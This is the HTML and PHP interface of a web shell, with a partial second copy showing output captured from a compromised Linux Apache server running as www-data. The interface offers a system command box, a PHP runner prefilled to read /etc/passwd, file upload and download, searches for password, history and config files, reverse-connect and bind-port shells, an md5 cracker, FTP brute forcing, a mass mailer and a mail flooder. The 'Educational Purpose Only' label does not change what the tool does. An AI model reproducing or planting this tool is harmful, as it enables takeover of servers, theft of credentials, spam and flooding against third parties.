 664 | 
 665 | 
 666 | 
 667 | 
 668 | <html>
 669 | <head>
 670 | <title>.::Black Hat | Ethical Hacking | Special Webshell | Educational Purpose Only::.</title>
 671 | <META http-equiv="Content-Type" content="text/html; charset=CP866">
 672 | <style type=text/css>
 673 | .ta {background: #939292; border:1px solid #000000; color: #FFFFFF;}
 674 | .bt {border: 1px solid #00c12d;background: #939292;font-weight:bold;}
 675 | .td1 {border:2px solid #00c12d;}
 676 | .td2 {border:1px solid #00c12d;}
 677 | .ram {border:1px solid #00c12d;background:#222222;}
 678 | body { scrollbar-base-color: #939292}
 679 | </style>
 680 | <script>
 681 | function kill()
 682 | {
 683 | var y;
 684 | y = confirm('Are you really want to kill shell?');
 685 | if(y == true)
 686 | {
 687 | document.location = '?kill=yes';
 688 | }
 689 | }
 690 | </script>
 691 | </head>
 692 | <body bgcolor='#000000'>
 693 | <center><table width=90% cellpadding=0 cellspacing=0 style="border: 1px solid #000000">
 694 | <tr><td width=100% height=70 bgcolor='#000000' style="border-bottom: 2px solid #000000" valign=top>
 695 | <table valign=top>
 696 | <tr><td valign=top>
 697 | <table valign=center class='ram'>
 698 | <tr><td width=5% align=right>
 699 | <font size=2 color=#888888>System:</font>
 700 | </td>
 701 | <td width=100%>
 702 | <font size=2 color=green><b><?php echo getsystem();?></b></font>
 703 | </td></tr>
 704 | <tr><td width=5% align=right>
 705 | <font size=2 color=#888888>Server:</font>
 706 | </td>
 707 | <td width=100%>
 708 | <font size=2 color=green><b><?php echo getserver();?></b></font>
 709 | </td></tr>
 710 | <tr><td width=5% align=right>
 711 | <font size=2 color=#888888>User:</font>
 712 | </td>
 713 | <td width=100%>
 714 | <font size=2 color=green><b><?php echo getuser();?></b></font>
 715 | </td></tr>
 716 | <tr><td width=5% align=right>
 717 | <font size=2 color=#888888>pwd:</font>
 718 | </td>
 719 | <td width=100%>
 720 | <font size=2 color=green><b><?php if(strlen($u=pwd())>45){echo "...".substr($u,strlen($u)-40,40);}else{echo $u;};?></b></font>
 721 | </td></tr>
 722 | </table>
 723 | </td>
 724 | <td width=13% valign=center align=center>
 725 | <table width=100% height=100% cellpadding=0 cellspacing=0><tr><td width=100% height=100%>
 726 | <center>
 727 | <a href="http://h0ld-up.info"><table cellpadding=2 cellspacing=2 style="border:1px solid #00c12d;background:#444444">
 728 | <tr><td><font size=2 color=#999999>
 729 | <center><b>.::h0ld-up-team::.<br>web-shell</b></center>
 730 | </font></td></tr></table></a></center>
 731 | </td></tr><tr><td height=5></td></tr><tr><td>
 732 | <center>
 733 | 
 734 | <input type=submit style="border:1px solid #00c12d;background: green;font-weight:bold;" value='   Kill Shell   ' onclick='kill()'>
 735 | 
 736 | </center>
 737 | </td></tr></table>
 738 | 
 739 | </td>
 740 | <td class='ram' width=45% valign=center align=center>
 741 | <table  cellpadding=0 cellspacing=0>
 742 | <tr><td>
 743 | <table valign=top cellpadding=0 cellspacing=0>
 744 | <tr><td align=right>
 745 | <font size=2 color='#888888'>PHP-version:</font>
 746 | </td></tr>
 747 | <tr><td align=right>
 748 | <font size=2 color='#888888'>MySQL:</font>
 749 | </td></tr>
 750 | <tr><td align=right>
 751 | <font size=2 color='#888888'>MSSQL:</font>
 752 | </td></tr>
 753 | <tr><td align=right>
 754 | <font size=2 color='#888888'>PostgreSQL:</font>
 755 | </td></tr>
 756 | <tr><td align=right>
 757 | <font size=2 color='#888888'>Oracle:</font>
 758 | </td></tr>
 759 | </table>
 760 | </td><td>
 761 | <table valign=top  cellpadding=0 cellspacing=0>
 762 | <tr><td>
 763 | <b><font size=2 color=green><?php echo phpversion();?></font></b>
 764 | </td></tr>
 765 | <tr><td>
 766 | <b><?php echo testmysql();?></b>
 767 | </td></tr>
 768 | <tr><td>
 769 | <b><?php echo testmssql();?></b>
 770 | </td></tr>
 771 | <tr><td>
 772 | <b><?php echo postgresql();?></b>
 773 | </td></tr>
 774 | <tr><td>
 775 | <b><?php echo oracle();?></b>
 776 | </td></tr>
 777 | </table>
 778 | </td><td width=4%></td>
 779 | <td valign=top><table cellpadding=0 cellspacing=0 valign=top>
 780 | <tr><td valign=top align=right>
 781 | <font color=#888888 size=2>Safe_mode:</font>
 782 | </td></tr>
 783 | <tr><td valign=top align=right>
 784 | <font color=#888888 size=2>cURL:</font>
 785 | </td></tr>
 786 | <tr><td valign=top align=right>
 787 | <font color=#888888 size=2>wget:</font>
 788 | </td></tr>
 789 | <tr><td valign=top align=right>
 790 | <font color=#888888 size=2>fetch:</font>
 791 | </td></tr>
 792 | <tr><td valign=top align=right>
 793 | <font color=#888888 size=2>lynx:</font>
 794 | </td></tr>
 795 | </table></td>
 796 | <td valign=top><table cellpadding=0 cellspacing=0 valign=top>
 797 | <tr><td valign=top>
 798 | <b><?php echo safe_mode();?></b>
 799 | </td></tr>
 800 | <tr><td valign=top>
 801 | <b><?php echo testcurl();?></b>
 802 | </td></tr>
 803 | <tr><td valign=top>
 804 | <b><?php echo testwget();?></b>
 805 | </td></tr>
 806 | <tr><td valign=top>
 807 | <b><?php echo testfetch();?></b>
 808 | </td></tr>
 809 | <tr><td valign=top>
 810 | <b><?php echo testlynx();?></b>
 811 | </td></tr>
 812 | </table></td>
 813 | <td width=4%></td>
 814 | <td valign=top><table cellpadding=0 cellspacing=0 valign=top>
 815 | <tr><td valign=top align=right>
 816 | <font color=#888888 size=2>Perl:</font>
 817 | </td></tr>
 818 | <tr><td valign=top align=right>
 819 | <font color=#888888 size=2>Server time:</font>
 820 | </td></tr>
 821 | <tr><td valign=top align=right>
 822 | <font color=#888888 size=2>Server date:</font>
 823 | </td></tr>
 824 | <tr><td valign=top align=right>
 825 | <font color=#888888 size=2>Total space:</font>
 826 | </td></tr>
 827 | <tr><td valign=top align=right>
 828 | <font color=#888888 size=2>Free space:</font>
 829 | </td></tr>
 830 | </table></td>
 831 | <td valign=top><table cellpadding=0 cellspacing=0 valign=top>
 832 | <tr><td valign=top>
 833 | <b><font size=2 color=green><?php echo testperl();?></font></b>
 834 | </td></tr>
 835 | <tr><td valign=top>
 836 | <b><font size=2 color=#999999><?php echo date('H:i');?></font></b>
 837 | </td></tr>
 838 | <tr><td valign=top>
 839 | <b><font size=2 color=#999999><?php echo date('d-m-Y');?></font></b>
 840 | </td></tr>
 841 | <tr><td valign=top>
 842 | <b><font size=2 color=#999999><?php echo view_size(disk_total_space(getcwd()));?></font></b>
 843 | </td></tr>
 844 | <tr><td valign=top>
 845 | <b><font size=2 color=#999999><?php echo view_size(diskfreespace(getcwd()));?></font></b>
 846 | </td></tr>
 847 | </table></td></tr>
 848 | </table>
 849 | </td></tr>
 850 | </table>
 851 | </td></tr>
 852 | <tr><td width=100% height=100% bgcolor='#636363' valign=top>
 853 | <table width=100%>
 854 | <tr><td valign=top align=center>
 855 | <table width=100% height=200 class='td1'>
 856 | <tr><td valign=top align=left width=50%>
 857 | <form action method=POST>
 858 | <input type=hidden name="type" value=5>
 859 | <textarea cols=80 rows=13 name="value" class='ta'>
 860 | <?php echo htmlspecialchars(shell());?>
 861 | </textarea><?php echo edit();?></form>
 862 | </td>
 863 | 
 864 | 
 865 | 
 866 | <td valign=top align=left width=10%>
 867 | <table width=100% height=100% class='td2'>
 868 | <form action method=POST><tr><td valign=top align=left height=40% style="border-bottom: 1px solid #00c12d;">
 869 | <b>.::System shell::.</b><br>
 870 | <input type=hidden name="type" value=2>
 871 | <center><input type=text name="value" size=35 class='ta'></center>
 872 | </ br><center><input type=submit value="Enter" style="border-top: 1px solid #636363;border-bottom: 1px solid #00c12d;border-right: 1px solid #00c12d;border-left: 1px solid #00c12d;background: #636363;font-weight:bold;"></center>
 873 | </td></tr></form>
 874 | <tr><td valign=top align=left>
 875 | <form action method=POST>
 876 | <table>
 877 | <tr><td>
 878 | <b>.::PHP-code::.</b>
 879 | </td><td align=right>
 880 | <input type=submit value="Run code" class='bt'>
 881 | <input type=hidden name="type" value=1>
 882 | </td></tr>
 883 | <tr><td colspan=2>
 884 | <textarea rows=5 cols=26 name="value" class='ta'><?php echo "readfile('/etc/passwd');";?></textarea>
 885 | </td></tr>
 886 | </table></form>
 887 | </td></tr>
 888 | </table>
 889 | </td></tr>
 890 | </table>
 891 | <table>
 892 | <tr><td height=0></td></tr>
 893 | </table>
 894 | <table width=100% height=80 class='td1' valign=top>
 895 | <tr><td valign=top align=left width=50%>
 896 | <form action method=POST>
 897 | <table width=100% height=100% valign=top class='td2'>
 898 | <tr><td>
 899 | <b>.::PWD::.</b>
 900 | </td><td align=right>
 901 | <input type=submit class='bt' value="cd">
 902 | <input type=hidden name="type" value=3>
 903 | </td></tr>
 904 | <tr><td colspan=2>
 905 | <input type=text name="value" class='ta' size=71 value=<?php echo pwd();?>>
 906 | </td></tr>
 907 | </table></form></td><td valign=top align=left width=50%>
 908 | <form action method=POST>
 909 | <table width=100% height=100% valign=top class='td2'>
 910 | <tr><td>
 911 | <b>.::File Edit::.</b>
 912 | </td><td align=right>
 913 | <input type=submit class='bt' value="Edit">
 914 | <input type=hidden name="type" value=4>
 915 | </td></tr>
 916 | <tr><td colspan=2>
 917 | <input type=text name="value" class='ta' size=72 value=<?php echo pwd();?>>
 918 | </td></tr>
 919 | </table></form>
 920 | </td></tr>
 921 | <tr><td valign=top align=left width=50%>
 922 | <form action method=POST>
 923 | <table width=100% height=100% valign=top class='td2'>
 924 | <tr><td>
 925 | <b>.::Download::.</b>
 926 | </td><td align=right>
 927 | <input type=submit class='bt' value="Download">
 928 | <input type=hidden name="type" value=11>
 929 | </td></tr>
 930 | <tr><td colspan=2>
 931 | <input type=text name="value" class='ta' size=71 value=<?php echo pwd();?>>
 932 | </td></tr>
 933 | </table></form></td><td valign=top align=left width=50%>
 934 | <form enctype="multipart/form-data" action method=POST>
 935 | <table width=100% height=100% valign=top class='td2'>
 936 | <tr><td>
 937 | <b>.::Upload::.</b>
 938 | </td><td align=right colspan=3>
 939 | <input type=submit class='bt' value="Upload">
 940 | <input type=hidden name="type" value=6>
 941 | </td></tr>
 942 | <tr><td colspan=2>
 943 | <font size=2 color=#888888>New name:</b>
 944 | <input type=text size=15 name="newname" class=ta>
 945 | </td><td width=4></td><td colspan=2>
 946 | <input type=file name="userfile" size=28>
 947 | </td></tr>
 948 | </table></form>
 949 | <tr><td valign=top align=left width=50%>
 950 | <form action method=POST>
 951 | <table width=100% height=100% valign=top class='td2'>
 952 | <tr><td>
 953 | <b>.::Alias::.</b>
 954 | </td><td align=right>
 955 | <input type=submit class='bt' value="RUN">
 956 | <input type=hidden name="type" value=7>
 957 | </td></tr>
 958 | <tr><td colspan=2>
 959 | <select name='value' class='ta' width=200>
 960 | <option>find apahce config file</option>
 961 | <option>find access_log files</option>
 962 | <option>find error_log files</option>
 963 | <option>find suid files</option>
 964 | <option>find suid files in current dir</option>
 965 | <option>find sgid files</option>
 966 | <option>find sgid files in current dir</option>
 967 | <option>find config.inc.php files</option>
 968 | <option>find config.inc.php files in current dir</option>
 969 | <option>find config* files</option>
 970 | <option>find config* files in current dir</option>
 971 | <option>find all writable files</option>
 972 | <option>find all writable files in current dir</option>
 973 | <option>find all writable directories</option>
 974 | <option>find all writable directories in current dir</option>
 975 | <option>find all writable directories and files</option>
 976 | <option>find all writable directories and files in current dir</option>
 977 | <option>find all service.pwd files</option>
 978 | <option>find service.pwd files in current dir</option>
 979 | <option>find all .htpasswd files</option>
 980 | <option>find .htpasswd files in current dir</option>
 981 | <option>find all .bash_history files</option>
 982 | <option>find .bash_history files in current dir</option>
 983 | <option>find all .mysql_history files</option>
 984 | <option>find .mysql_history files in current dir</option>
 985 | <option>find all .fetchmailrc files</option>
 986 | <option>find .fetchmailrc files in current dir</option>
 987 | <option>list file attributes on a Linux second extended file system</option>
 988 | <option>show opened ports</option>
 989 | <option>---------------------------------------------------------------------------------------------------------</option>
 990 | </select>
 991 | </td></tr>
 992 | </table></form></td>
 993 | <script>
 994 | function base64Encode(str)
 995 | {
 996 | 	var charBase64 = new Array(
 997 | 		'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
 998 | 		'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
 999 | 		'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
1000 | 		'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'
1001 | 	);
1002 | 
1003 | 	var out = "";
1004 | 	var chr1, chr2, chr3;
1005 | 	var enc1, enc2, enc3, enc4;
1006 | 	var i = 0;
1007 | 
1008 | 	var len = str.length;
1009 | 
1010 | 	do
1011 | 	{
1012 | 		chr1 = str.charCodeAt(i++);
1013 | 		chr2 = str.charCodeAt(i++);
1014 | 		chr3 = str.charCodeAt(i++);
1015 | 
1016 | 
1017 | 		enc1 = chr1 >> 2;
1018 | 		enc2 = ((chr1 & 0x03) << 4) | (chr2 >> 4);
1019 | 		enc3 = ((chr2 & 0x0F) << 2) | (chr3 >> 6);
1020 | 		enc4 = chr3 & 0x3F;
1021 | 
1022 | 		out += charBase64[enc1] + charBase64[enc2];
1023 | 
1024 | 		if (isNaN(chr2))
1025 |   		{
1026 | 			out += '==';
1027 | 		}
1028 |   		else if (isNaN(chr3))
1029 |   		{
1030 | 			out += charBase64[enc3] + '=';
1031 | 		}
1032 | 		else
1033 | 		{
1034 | 			out += charBase64[enc3] + charBase64[enc4];
1035 | 		}
1036 | 	}
1037 | 	while (i < len);
1038 | 
1039 | 	return out;
1040 | }
1041 | 
1042 | 
1043 | function base64Decode(str)
1044 | {
1045 | 	var indexBase64 = new Array(
1046 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1047 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1048 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,62, -1,-1,-1,63,
1049 | 		52,53,54,55, 56,57,58,59, 60,61,-1,-1, -1,-1,-1,-1,
1050 | 		-1, 0, 1, 2,  3, 4, 5, 6,  7, 8, 9,10, 11,12,13,14,
1051 | 		15,16,17,18, 19,20,21,22, 23,24,25,-1, -1,-1,-1,-1,
1052 | 		-1,26,27,28, 29,30,31,32, 33,34,35,36, 37,38,39,40,
1053 | 		41,42,43,44, 45,46,47,48, 49,50,51,-1, -1,-1,-1,-1,
1054 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1055 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1056 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1057 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1058 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1059 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1060 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1,
1061 | 		-1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1, -1,-1,-1,-1
1062 | 	);
1063 | 
1064 | 	var out = "";
1065 | 	var chr1, chr2, chr3;
1066 | 	var enc1, enc2, enc3, enc4;
1067 | 	var i = 0;
1068 | 
1069 | 
1070 | 	str = str.replace(/^[^a-zA-Z0-9\+\/\=]+|[^a-zA-Z0-9\+\/\=]+$/g,"")
1071 | 
1072 | 	var len = str.length;
1073 | 
1074 | 	do
1075 | 	{
1076 | 		enc1 = indexBase64[str.charCodeAt(i++)];
1077 | 		enc2 = indexBase64[str.charCodeAt(i++)];
1078 | 		enc3 = indexBase64[str.charCodeAt(i++)];
1079 | 		enc4 = indexBase64[str.charCodeAt(i++)];
1080 | 
1081 | 		chr1 = (enc1 << 2) | (enc2 >> 4);
1082 | 		chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
1083 | 		chr3 = ((enc3 & 3) << 6) | enc4;
1084 | 
1085 | 		out += String.fromCharCode(chr1);
1086 | 
1087 | 		if (enc3 != -1)
1088 | 		{
1089 | 			out += String.fromCharCode(chr2);
1090 | 		}
1091 | 		if (enc4 != -1)
1092 | 		{
1093 | 			out += String.fromCharCode(chr3);
1094 | 		}
1095 | 	}
1096 | 	while (i < len);
1097 | 
1098 | 	if (i != len)
1099 | 	{
1100 | 		new Error(BASE64_BROKEN);
1101 | 		return "";
1102 | 	}
1103 | 
1104 | 	return out;
1105 | }
1106 | 
1107 | </script>
1108 | <td valign=top align=left width=50%>
1109 | <form action method=POST>
1110 | <table width=100% height=100% valign=top class='td2'>
1111 | <tr><td width=1%>
1112 | <b>.::Base64_encode::.</b>
1113 | </td><td align=right width=6%>
1114 | <input type=button value="encode" class='bt' onclick='t.value=base64Encode(t.value)'>	
1115 | </td>
1116 | <form action method=POST><td width=1%>
1117 | <b>.::Base64_decode::.</b>
1118 | </td><td align=right width=6%>
1119 | <input type=button value="decode" class='bt' onclick='n.value=base64Decode(n.value)'>	
1120 | </td></tr>
1121 | <tr><td colspan=2>
1122 | <input type=text name='t' class='ta' size=34>
1123 | </td><td colspan=2>
1124 | <input type=text name='n' class='ta' size=34>
1125 | </td></tr>
1126 | </table></form>
1127 | </td></tr>
1128 | </td></tr>
1129 | </table>
1130 | </td></tr><tr></tr><tr><td>
1131 | <table cellpadding=0 cellspacing=0><tr><td>
1132 | <table class='td1' width=226>
1133 | <tr><td width=100% class='td2'>
1134 | <form action method=POST>
1135 | <table cellpadding=0 cellspacing=0 width=90% border=0><tr><td colspan=3>
1136 | <b>.::Back Connect::.</b></td></tr>
1137 | <tr><td width=100% height=10 colspan=3></td></tr>
1138 | <tr><td width=25% align=right><font color=#888888 size=2><b>IP:</b></font></td>
1139 | <td width=5%></td>
1140 | <td width=100% align=right>
1141 | <input type=text class='ta' name='ip' size=15 value=<?php echo $_SERVER['REMOTE_ADDR'];?>></td></tr>
1142 | <tr><td width=100% height=5 colspan=3></td></tr>
1143 | <tr><td width=25% align=right><font color=#888888 size=2>port:</font></td>
1144 | <td width=5%></td>
1145 | <td width=100% align=right>
1146 | <input type=text class='ta' name='port' size=10 value='5000'></td></tr>
1147 | <tr><td width=100% height=5 colspan=3></td></tr>
1148 | <tr><td width=25% align=right><font color=#888888 size=2>Method:</font></td>
1149 | <td width=5%></td>
1150 | <td width=100% align=right>
1151 | <select class='ta' name='method'>
1152 | <option>Perl</option>
1153 | <option>C#</option>
1154 | <option>---------------------</option>
1155 | </select></td></tr>
1156 | <tr><td width=100% height=5 colspan=3></td></tr>
1157 | <tr><td width=100% align=right colspan=3>
1158 | <input type=hidden name='type' value='12'>
1159 | <input type=submit value='Connect' class='bt'></form>
1160 | <tr><td width=100% height=5 colspan=3></td></tr>
1161 | </table>
1162 | </td></tr>
1163 | </table>
1164 | </td><td width=5></td><td>
1165 | <table class='td1' width=226>
1166 | <tr><td width=100% class='td2'>
1167 | <form action method=POST>
1168 | <table cellpadding=0 cellspacing=0 width=90% border=0><tr><td colspan=3>
1169 | <b>.::Bind port::.</b></td></tr>
1170 | <tr><td width=100% height=10 colspan=3></td></tr>
1171 | <tr><td width=25% align=right><font color=#888888 size=2><b>Port:</b></font></td>
1172 | <td width=5%></td>
1173 | <td width=100% align=right>
1174 | <input type=text class='ta' name='port' size=15 value='6000'></td></tr>
1175 | <tr><td width=100% height=5 colspan=3></td></tr>
1176 | <tr><td width=25% align=right><font color=#888888 size=2>pass:</font></td>
1177 | <td width=5%></td>
1178 | <td width=100% align=right>
1179 | <input type=text class='ta' name='pass' size=10 value='hshell'></td></tr>
1180 | <tr><td width=100% height=5 colspan=3></td></tr>
1181 | <tr><td width=25% align=right><font color=#888888 size=2>Method:</font></td>
1182 | <td width=5%></td>
1183 | <td width=100% align=right>
1184 | <select class='ta' name='method'>
1185 | <option>Perl</option>
1186 | <option>C#</option>
1187 | <option>---------------------</option>
1188 | </select></td></tr>
1189 | <tr><td width=100% height=5 colspan=3></td></tr>
1190 | <tr><td width=100% align=right colspan=3>
1191 | <input type=hidden name='type' value='12'>
1192 | <input type=submit value='Bind' class='bt'></form>
1193 | <tr><td width=100% height=5 colspan=3></td></tr>
1194 | </table>
1195 | </td></tr>
1196 | </table>
1197 | </td><td width=5></td><td width=50% height=141>
1198 | <table class='td1' width=100% height=100% valign=top><tr><td width=100% height=100% class='td2' valign=top>
1199 | <table cellpadding=0 cellspacing=0 width=95%><tr><td colspan=4>
1200 | <b>.::md5 bruter::.</b>
1201 | </td></tr><tr><td height=10></td></tr>
1202 | <tr><td width=20></td><td>
1203 | <font size=2 color="#888888" align=right><b>hash:</b></font></td><td width=5></td><td align=right>
1204 | <input type=text name='hash' class='ta' size=50>
1205 | </td></tr>
1206 | <tr><td height=5></td>
1207 | <tr><td width=20></td><td>
1208 | <font size=2 color="#888888" align=right>log_file:</font></td><td width=5></td><td align=right>
1209 | <input type=text name='log' class='ta' size=30 value='md5_log.txt'>
1210 | </td></tr>
1211 | <tr><td height=5></td>
1212 | <tr><td width=20></td><td>
1213 | <font size=2 color="#888888" align=right>dictionary_file:</font></td><td width=5></td><td align=right>
1214 | <input type=text name='dict' class='ta' size=30 value='md5_dict.txt'>
1215 | </td></tr>
1216 | <tr><td height=5></td>
1217 | <tr><td width=20></td><td>
1218 | </td><td width=5></td><td align=right>
1219 | <input type=submit class='bt' value='Start Brute'>
1220 | </td></tr>
1221 | </table>
1222 | </td></tr></table>
1223 | </td></tr></table>
1224 | <tr></tr><tr><td>
1225 | <table class='td1' width=100% height=310 valign=top align=left>
1226 | <form action method=POST>
1227 | <td valign=top align=left class='td2' width=33%>
1228 | <table cellpadding=0 cellspacing=0 width=100%>
1229 | <tr><td valign=top colspan=3 height=30>
1230 | <b>.::Spammer::.</b>
1231 | <tr><td width=25% align=right>
1232 | <font color=#888888 size=2><b>emails_file:</b></font>
1233 | </td><td width=65% align=right>
1234 | <input type=text name='elist' class='ta' size=17 value="emails.txt">
1235 | </td></tr><tr><td height=5></td></tr>
1236 | <tr><td width=25% align=right>
1237 | <font color=#888888 size=2><b>log_file:</b></font>
1238 | </td><td width=65% align=right>
1239 | <input type=text name='log' class='ta' size=17 value="mail_log.txt">
1240 | </td></tr>
1241 | <td height=5><td></tr>
1242 | <tr><td width=25% align=right>
1243 | <font color=#888888 size=2>From:</font>
1244 | </td><td width=65% align=right>
1245 | <input type=text name='from' class='ta' size=27>
1246 | </td></tr>
1247 | <td height=5><td></tr>
1248 | <tr><td width=25% align=right>
1249 | <font color=#888888 size=2>Subject:</font>
1250 | </td><td width=65% align=right>
1251 | <input type=text name='subject' class='ta' size=27>
1252 | </td></tr>
1253 | <td height=5><td></tr>
1254 | <tr><td width=25% align=right>
1255 | <font color=#888888 size=2>Message:</font>
1256 | </td><td width=65% align=right>
1257 | <textarea name='msg' class='ta' cols=20 rows=4></textarea>
1258 | </td></tr>
1259 | <td height=5><td></tr>
1260 | <tr><td width=25% align=right>
1261 | <font color=#888888 size=2>Check<sup>*</sup>:</font>
1262 | </td><td width=65% align=right>
1263 | <input type=text name='check' class='ta' size=27>
1264 | </td></tr>
1265 | <td height=5><td></tr>
1266 | <tr><td width=25% align=right>
1267 | </td><td width=65% align=right>
1268 | <input type=submit class='bt' value="Start">
1269 | <input type=hidden name='type' value=10>
1270 | </td></tr>
1271 | </table></form>
1272 | <form action method=POST>
1273 | <td valign=top align=left class='td2' width=33%>
1274 | <table cellpadding=0 cellspacing=0 width=100%>
1275 | <tr><td colspan=3 height=30 valign=top><b>.::FTP-Brute::.</b></td></tr>
1276 | <tr><td width=31% align=right>
1277 | <font color=#888888 size=2><b>Host:</b></font>
1278 | </td><td align=right>
1279 | <input type=text name='host' class='ta' size=28>
1280 | </td><td width=5%></td></tr><tr><td height=35 width=100% colspan=2></td></tr>
1281 | <tr><td align=right>
1282 | <font color=#888888 size=2>ftp_users file:</font>
1283 | </td><td align=right>
1284 | <input type=text name='users' class='ta' size=17 value="ftp_users.txt">
1285 | </td><td></td></tr>
1286 | <tr><td height=5 width=100% colspan=2></td></tr>
1287 | <tr><td align=right>
1288 | <font color=#888888 size=2>ftp_passwd file:</font>
1289 | </td><td align=right>
1290 | <input type=text name='passwd' class='ta' size=17 value="ftp_passwds.txt">
1291 | </td><td></td></tr>
1292 | <tr><td height=5 width=100% colspan=2></td></tr>
1293 | <tr><td align=right>
1294 | <font color=#888888 size=2>ftp_log file:</font>
1295 | </td><td align=right>
1296 | <input type=text name='log' class='ta' size=17 value="ftp_log.txt">
1297 | </td><td></td></tr>
1298 | <tr><td colspan=2 height=20></td></tr>
1299 | <tr><td colspan=2 align=right>
1300 | <input type=submit class='bt' value="Start Brute">
1301 | <input type=hidden name="type" value=9>
1302 | </td></tr>
1303 | </td></table></form>
1304 | <form action method=POST>
1305 | <td valign=top align=left class='td2' width=33%>
1306 | <table cellpadding=0 cellspacing=0 width=100%>
1307 | <tr><td valign=top colspan=3 height=30>
1308 | <b>.::Flooder::.</b>
1309 | <tr><td width=25% align=right>
1310 | <font color=#888888 size=2><b>log_file:</b></font>
1311 | </td><td width=65% align=right>
1312 | <input type=text name='log' class='ta' size=17 value="mflood_log.txt">
1313 | </td></tr>
1314 | <td height=5><td></tr>
1315 | <tr><td width=25% align=right>
1316 | <font color=#888888 size=2>Send to:</font>
1317 | </td><td width=65% align=right>
1318 | <input type=text name='to' class='ta' size=27>
1319 | </td></tr><tr>
1320 | <td height=5><td></tr>
1321 | <tr><td width=25% align=right>
1322 | <font color=#888888 size=2>From:</font>
1323 | </td><td width=65% align=right>
1324 | <input type=text name='from' class='ta' size=27>
1325 | </td></tr>
1326 | <td height=5><td></tr>
1327 | <tr><td width=25% align=right>
1328 | <font color=#888888 size=2>Subject:</font>
1329 | </td><td width=65% align=right>
1330 | <input type=text name='subject' class='ta' size=27>
1331 | </td></tr>
1332 | <td height=5><td></tr>
1333 | <tr><td width=25% align=right>
1334 | <font color=#888888 size=2>Message:</font>
1335 | </td><td width=65% align=right>
1336 | <textarea name='msg' class='ta' cols=20 rows=4></textarea>
1337 | </td></tr>
1338 | <td height=25><td></tr>
1339 | <tr><td width=25% align=right>
1340 | <font color=#888888 size=2>Amount:</font>
1341 | </td><td width=65% align=right>
1342 | <input type=text name='amount' class='ta' size=17>
1343 | </td></tr>
1344 | <td height=5><td></tr>
1345 | <tr><td width=25% align=right>
1346 | <font color=#888888 size=2>Check<sup>*</sup>:</font>
1347 | </td><td width=65% align=right>
1348 | <input type=text name='check' class='ta' size=27>
1349 | </td></tr>
1350 | <td height=5><td></tr>
1351 | <tr><td width=25% align=right>
1352 | </td><td width=65% align=right>
1353 | <input type=submit class='bt' value="Flood">
1354 | <input type=hidden name='type' value=10>
1355 | </td></tr>
1356 | </table></form>
1357 | </td></tr>
1358 | </table>
1359 | </td></tr>
1360 | </table>
1361 | </td></tr>
1362 | </table></center>
1363 | <center><font size=1 color=#444444>.:[Public v1.0]:.</font></center>
1364 | </body>
1365 | </html>
1366 | 	
1367 | <!-- Coded by LoFFi & Ls01r //-->
1368 | 
1369 | 
1370 | 
1371 | 
1372 | 
1373 | 
1374 | 
1375 | 
1376 | 
1377 | 
1378 | <html>
1379 | <head>
1380 | <title>.::Black Hat | Ethical Hacking | Special Webshell | Educational Purpose Only::.</title>
1381 | <META http-equiv="Content-Type" content="text/html; charset=CP866">
1382 | <style type=text/css>
1383 | .ta {background: #939292; border:1px solid #000000; color: #FFFFFF;}
1384 | .bt {border: 1px solid #00c12d;background: #939292;font-weight:bold;}
1385 | .td1 {border:2px solid #00c12d;}
1386 | .td2 {border:1px solid #00c12d;}
1387 | .ram {border:1px solid #00c12d;background:#222222;}
1388 | body { scrollbar-base-color: #939292}
1389 | </style>
1390 | <script>
1391 | function kill()
1392 | {
1393 | var y;
1394 | y = confirm('Are you really want to kill shell?');
1395 | if(y == true)
1396 | {
1397 | document.location = '?kill=yes';
1398 | }
1399 | }
1400 | </script>
1401 | </head>
1402 | <body bgcolor='#000000'>
1403 | <center><table width=90% cellpadding=0 cellspacing=0 style="border: 1px solid #000000">
1404 | <tr><td width=100% height=70 bgcolor='#000000' style="border-bottom: 2px solid #000000" valign=top>
1405 | <table valign=top>
1406 | <tr><td valign=top>
1407 | <table valign=center class='ram'>
1408 | <tr><td width=5% align=right>
1409 | <font size=2 color=#888888>System:</font>
1410 | </td>
1411 | <td width=100%>
1412 | <font size=2 color=green><b>Linux 4.9.26v7-aufs #1 SMP Tue May 9 20:14:03 CEST 2017</b></font>
1413 | </td></tr>
1414 | <tr><td width=5% align=right>
1415 | <font size=2 color=#888888>Server:</font>
1416 | </td>
1417 | <td width=100%>
1418 | <font size=2 color=green><b>Apache/2.4.29 (Debian)</b></font>
1419 | </td></tr>
1420 | <tr><td width=5% align=right>
1421 | <font size=2 color=#888888>User:</font>
1422 | </td>
1423 | <td width=100%>
1424 | <font size=2 color=green><b>uid=33(www-data) gid=33(www-data) groups=33(www-data)</b></font>
1425 | </td></tr>
1426 | <tr><td width=5% align=right>
1427 | <font size=2 color=#888888>pwd:</font>
1428 | </td>
1429 | <td width=100%>
1430 | <font size=2 color=green><b>/var/www/html/</b></font>
1431 | </td></tr>
1432 | </table>
1433 | </td>
1434 | <td width=13% valign=center align=center>
1435 | <table width=100% height=100% cellpadding=0 cellspacing=0><tr><td width=100% height=100%>
1436 | <center>
1437 | <a href="http://h0ld-up.info"><table cellpadding=2 cellspacing=2 style="border:1px solid #00c12d;background:#444444">
1438 | <tr><td><font size=2 color=#999999>
1439 | <center><b>.::h0ld-up-team::.<br>web-shell</b></center>
1440 | </font></td></tr></table></a></center>
1441 | </td></tr><tr><td height=5></td></tr><tr><td>
